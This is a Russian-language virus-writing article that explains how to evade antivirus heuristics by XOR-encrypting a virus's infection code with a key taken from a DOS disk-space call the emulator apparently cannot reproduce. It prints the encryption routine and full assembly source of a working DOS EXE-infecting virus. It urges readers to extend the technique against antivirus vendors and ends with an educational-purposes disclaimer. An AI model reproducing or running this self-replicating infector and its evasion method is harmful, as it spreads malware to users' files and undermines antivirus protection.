Здравствуйте, дорогие мои VX-еры и AV-еры (если прочитаете...) В этой маленькой, но очень познавательной статье хочу рассказать вам как можно скрыть свое вирусное детище от супер-мощных-современных антивирусных программ. Данный метод тестировался на касперском антивирусе 4.5, но думаю прокатит и с другими творениями AV индустрии... Сразу скажу, что метод не под Win32 программирование, за что меня сердечно простите. Но данная фича совместима с виндами, если так можно сказать. Хватит болтать, давай к делу...
Как нам всем известно, антивирусы реагируют на определенные байты в твоем вире, например на чтение заголовка ехе или его перезапись. Точнее на это реагирует эвристик, и разные антиэвристичные техники пытаются это преодолеть. Но эти заразы (эвристики)
становятся все умней и умней и все меньше ведутся
на эти фишки, а меж тем обидно, когда твой супер-пупер вирус спалился эвристиком как какой-нить ехе-virus или что-нить еще
(смотря что пишешь). Есть два способа этого избежать: заняться антиэвристикой
или зашифровать критичные участки кода. Я расскажу о последнем, т.к. криптография РУЛИТ...
Как мы все знаем суть шифрования заключается в том, чтобы по определенному алгоритму зашифровать байты определенным
ключом. Но вот беда, ключ надо где-то хранить чтобы потом расшифровать, и тут аверы начинают портить воздух
(на то они и аверы). Эвристик выполняя код, определяет в каком месте находится ключик
(причем с твоей же помощью. Почему? узнай что такое эвристик),
расшифровывает подозрительные байты и начинает орать. Для понимания схема:
Кстати процедура шифровки\расшифровки (ШР) и ключик могут быть где угодно, если кто не знает.
И когда вирь доходит до нужного нам места (в схеме перед криптованной частью) он вызывает ШР-процедуру, берет ключ и делает код работоспособным
(должен заметить, что при запуске первого поколения нужное нам место должно быть уже закриптовано нашим ключом). Затем, когда эта часть кода выполнилась, мы опять калим ШР и намертво зашифровываемся, а потом пишемся в жертву например
(если ехе инфектор). Для примера ШР-процедура самая простая, будем использовать XOR и все:
coder:
xor si,si
mov si,cs:[bp+offset cod1] ;индексный регистр = месту с которого шифруем
mov cx,end_cod1-cod1 ;сколько байт шифруем
codr: ;цикл шифровки
xor byte ptr cs:[bp+si],ah ;ксорим байт на ah(ключ)
inc si ;si=si+1
loop codr
ret ;выход из процедуры шифровки
;......................................
cod1:
;
;что кодируем
;
end_cod1:
;......................................
Криптография не фонтан, но для примера подойдет. Ключ у нас заранее уже в ah, для простоты это один байт взятый из специального места отведенного для него:
mov ah[bp+offset key]
;........................
;........................
key db 00h
Эвристик запуская твой вирь прекрасно находить ключ, декодит все что мы так хотели скрыть, видит подозрительный код и сигнализирует юзверю. По сути дела антивирь создает виртуальный компьютер и выполняет прогу, которая хочет стартовать, смотрит что она делает и если что-то ему не нравиться, то прога не грузится на настоящей машине. Но создать полноценную виртуальную машину (ВМ) трудно, еще
труднее загрузить в нее все функции ОС, и не одной, а нескольких. Вот поэтому у меня возникла идея о неполноценности их ВМ. Следовательно брать ключ можно не из своего тела, а получать его в качестве результата выполнения какой нить функции (прерывания) ОС, которую антивирус не может эмулировать. В качестве этого прерывания
(ф-и) мы возьмем получение свободного места на диске. Вот интерфейс
INT 21 36-- - DOS 2+ - GET FREE DISK SPACE
Inp.:
AH = 36h
DL = drive number (00h = default, 01h = A:, etc)
Return: AX = FFFFh if invalid drive
else
AX = sectors per cluster
BX = number of free clusters
CX = bytes per sector
DX = total clusters on drive
Нас интересует значение в случае неправильной буквы диска, например dl=40h. Нам в ax вернется FFFFh, т.е это константа в любом случае, и мы можем использовать это значение в качестве ключа в любых ОСях и в любых поколениях вирей. Каспер в этом случае сосет да еще и причмокивает...
Наша процедура шифрования будет выглядеть так:
coder: ;ШР процедура
mov dl,40h ;несуществующий диск
mov ah,36h ;прерывание сколько осталось места на нем
int 21h
lea si,cs:[bp+offset cod1] ;адрес откуда шифруем
mov cx,end_cod1-cod1 ;сколько шифруем
cdr: ;цикл шифровки
xor cs:[si],ah
inc si
loop cdr
ret
Все понятно... Букв в лат. алфавите всего 26, а 40h явно больше чем 27, и поэтому нам вернется в ax значение FFFFh
- им мы и шифруем, точнее FFh. Но как я говорил раньше, в первом поколении надо позаботиться о том, чтобы то место,
которое мы выберем целью в нашем вирусе было зашифровано. Я пошел по пути наименьшего сопротивления. Я не стал придумывать какие либо алгоритмы определяющие первое это поколение вируса или нет, а просто написал прогу, которая шифрует нужное место в теле вируса. Прога
вышла довольно ламерская, поэтому сорцы
оставим на моей совести - вы с легкостью
сможете их воспроизвести сами.
Надо еще продумать все ситуации шифровки\расшифровки, а то зашифруете что-нить нужное и не заработает ваше творение, или
вообще забудете обратно все зашторить и спалит вас антивирус. Вы не думайте, что это просто, я на этой фигне долго сидел, разбираясь когда
вызывать мою процедурку... Да и еще надо знать что шифровать, я для верности шторил
весь блок инфицирования, кроме записи в файл. Для понимания вот рабочий код самого ламерского вируса в мире, но зато его не видит KAV. Если вы откомпилите и запустите вирь,
то будите самыми последними ламерюгами. Он просто заражает все ехе файлы в дире и все, он написан только для примера к статье. Комментировать буду только те места, где надо объяснить вызов ШР процедуры.
.model tiny
.code
id = ';)'
org 100h
start:
call next
next:
pop bp
sub bp,offset next
push ds
push es
push cs
pop es
push cs
pop ds
lea di,[bp+offset csip2]
lea si,[bp+offset csip]
mov cx,4
rep movsw
mov ah,1ah
lea dx,[bp+offset DTA]
int 21h
find:
lea dx,[bp+offset EXEmask]
mov ah,4eh
mov cx,0007h
find_n:
int 21h
jc return
call infect
find_nn:
mov ah,4fh
lea dx,[bp+offset DTA]
jmp find_n
return:
pop es
pop ds
mov dx,80h
mov ah,1ah
int 21h
restore_EXE:
mov ax,ds
add ax,10h
add cs:[bp+word ptr CSIP2+2],ax
add cs:[bp+word ptr SPSS2],ax
cli
mov ss,cs:[bp+word ptr SPSS2]
mov sp,cs:[bp+word ptr SPSS2+2]
sti
push cs:[bp+dword ptr CSIP2]
db 11001011b
infect:
mov ax,3d02h
lea dx,[bp+DTA+30]
int 21h
xchg ax,bx
call coder ;нам надо раскодировать нужное место
cod: ;ведь вы его перед
этим уже заксорили???
mov ah,3fh
mov cx,1ah
lea dx,[bp+offset buffer]
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
cmp word ptr [bp+offset buffer],'ZM'
jnz close
cmp word ptr [bp+offset buffer+10h],id
jz close
lea si,[bp+buffer+14h]
lea di,[bp+CSIP]
movsw
movsw
sub si,0ah
movsw
movsw
push bx
mov bx,word ptr [bp+buffer+8]
mov cl,04h
shl bx,cl
push dx
push ax
sub ax,bx
sbb dx,0000h
mov cx,10h
div cx
mov word ptr [bp+buffer+0eh],ax
mov word ptr [bp+buffer+14h],dx
mov word ptr [bp+buffer+10h],id
mov word ptr [bp+buffer+16h],ax
pop ax
pop dx
add ax,heap-start
adc dx,0000h
mov cl,09h
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,0001h
mov word ptr [bp+buffer+2],ax
mov word ptr [bp+buffer+4],dx
pop bx
call coder ;а здесь мы обратно кодируем,
;а потом пишемся в жертву
mov cx,heap-start
lea dx,[bp+offset start]
mov ah,40h
int 21h
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov cx,1ah
lea dx,[bp+offset buffer]
mov ah,40h
int 21h
close:
cmp ax,1ah ;а здесь мы проверяем если файл нам
не подошел
jz skip ;то кодимся обратно чтобы раскодиться
потом
call coder
skip:
mov ah,3eh
int 21h
ret
coder:
mov dl,40h
mov ah,36h
int 21h
lea si,cs:[bp+offset cod]
mov cx,79h ;байты считал ручками при ассемблирование
cdr:
xor cs:[si],ah
inc si
loop cdr
ret
;-------------------------------------------
CSIP2 dd ?
SPSS2 dd ?
CSIP dd 0fff00000h
SPSS dd ?
EXEmask db "*.exe",0
DTA db 43 dup (?)
buffer db 1ah dup (?)
heap:
end start;
Вот в принципе и все, надо просто
определить где вызывать процедуру. Это был самый простой пример. Напишите что-нибуд свое... Сделайте сложный алгоритм шифрования, используйте сопроцессор, разные функции для получения ключа, одним словом превратите жизнь аверов в ад, чтобы им
пришлось искать сигнатуры, т.к. расшифровывать процедуру и добавлять новые функции в эвристик им лень. А нам это
на руку - можно побольше поюзать эту фишку.
ВЕСЬ МАТЕРИАЛ ИЗЛОЖЕН ТОЛЬКО В ПОЗНАВАТЕЛЬНЫХ ЦЕЛЯХ И ДЛЯ ТОГО ЧТО-БЫ УКАЗАТЬ РАЗРАБОТЧИКАМ АНТИВИРУСНОГО ПО НА НЕДОСТАТКИ В ИХ ПРОДУКТАХ. ЗА ПОСЛЕДСТВИЯ ИСПОЛЬЗОВАНИЯ ЭТОЙ ИНФОРМАЦИИ АВТОР НИКАКОЙ ОТВЕТСТВЕННОСТИ НЕ НЕСЕТ.